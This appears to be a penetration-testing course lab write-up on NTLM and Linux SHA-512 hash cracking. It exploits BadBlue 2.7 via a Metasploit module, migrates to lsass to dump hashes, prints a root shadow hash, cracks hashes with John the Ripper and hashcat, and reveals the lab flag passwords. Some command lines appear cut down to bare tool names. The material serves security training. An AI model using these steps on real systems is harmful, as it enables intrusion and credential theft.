🔬Cracking Hashes

Lab 1 - Windows

🔬 Windows: NTLM Hash Cracking

  • Target IP: 10.2.24.37

  • NTLM Hashes dumping and cracking

Enumeration & Exploitation

nmap -sV -p 80 10.2.24.37
80/tcp open  http BadBlue httpd 2.7
service postgresql start && msfconsole -q
search badblue
use exploit/windows/http/badblue_passthru
options
setg RHOSTS 10.2.24.37
run
sysinfo
    Computer        : WIN-OMCNBKR66MN
    OS              : Windows 2012 R2 (6.3 Build 9600).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 1
    Meterpreter     : x86/windows
getuid
	Server username: WIN-OMCNBKR66MN\Administrator
get privs
    Enabled Process Privileges
    ==========================
    Name
    ----
    SeBackupPrivilege
    SeChangeNotifyPrivilege
    SeCreateGlobalPrivilege
    SeCreatePagefilePrivilege
    SeCreateSymbolicLinkPrivilege
    SeDebugPrivilege
    SeImpersonatePrivilege
    SeIncreaseBasePriorityPrivilege
    SeIncreaseQuotaPrivilege
    SeIncreaseWorkingSetPrivilege
    SeLoadDriverPrivilege
    SeManageVolumePrivilege
    SeProfileSingleProcessPrivilege
    SeRemoteShutdownPrivilege
    SeRestorePrivilege
    SeSecurityPrivilege
    SeShutdownPrivilege
    SeSystemEnvironmentPrivilege
    SeSystemProfilePrivilege
    SeSystemtimePrivilege
    SeTakeOwnershipPrivilege
    SeTimeZonePrivilege
    SeUndockPrivilege
  • With the Administrator Meterpreter session, privilege escalation is not necessary.

  • Migrate to the lsass process

Dumping Hashes

❗ In order to set up persistence, administrative privileges are required.

  • Open a new tab and create a .txt file with the dumped hashes. Paste the Administrator and bob hashes

Cracking Hashes

JohnTheRipper

  • In this case John The Ripper will be used as an example

john - Open Source password security auditing and password recovery tool available for many operating systems

john
  • Use the rockyou.txt wordlist instead

Hashcat

hashcat - Open Source advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms

  • Crack NTLM hashes with hashcat brute-force

hashcat
  • Try RDP login

Reveal Flag - Administrator's Password is: 🚩

password

Reveal Flag - bob's Password is: 🚩

password1


Lab 2 - Linux

🔬 Password Cracker: Linux

Enumeration & Exploitation

Dumping Hashes

📌 root:$6$sgewtGbw$ihhoUYASuXTh7Dmw0adpC7a3fBGkf9hkOQCffBQRMIF8/0w6g/Mh4jMWJ0yEFiZyqVQhZ4.vuS8XOyq.hLQBb.

  • $6 = the hashing algorithm is SHA-512

  • An MSF module can be used for hash dumping

Metasploit - post/linux/gather/hashdump
  • Exit MSFconsole

Cracking Hashes

JohnTheRipper

  • In this case John The Ripper will be used as an example

Hashcat

hashcat
Reveal Flag - "root" user's password is: 🚩

password


Last updated

Was this helpful?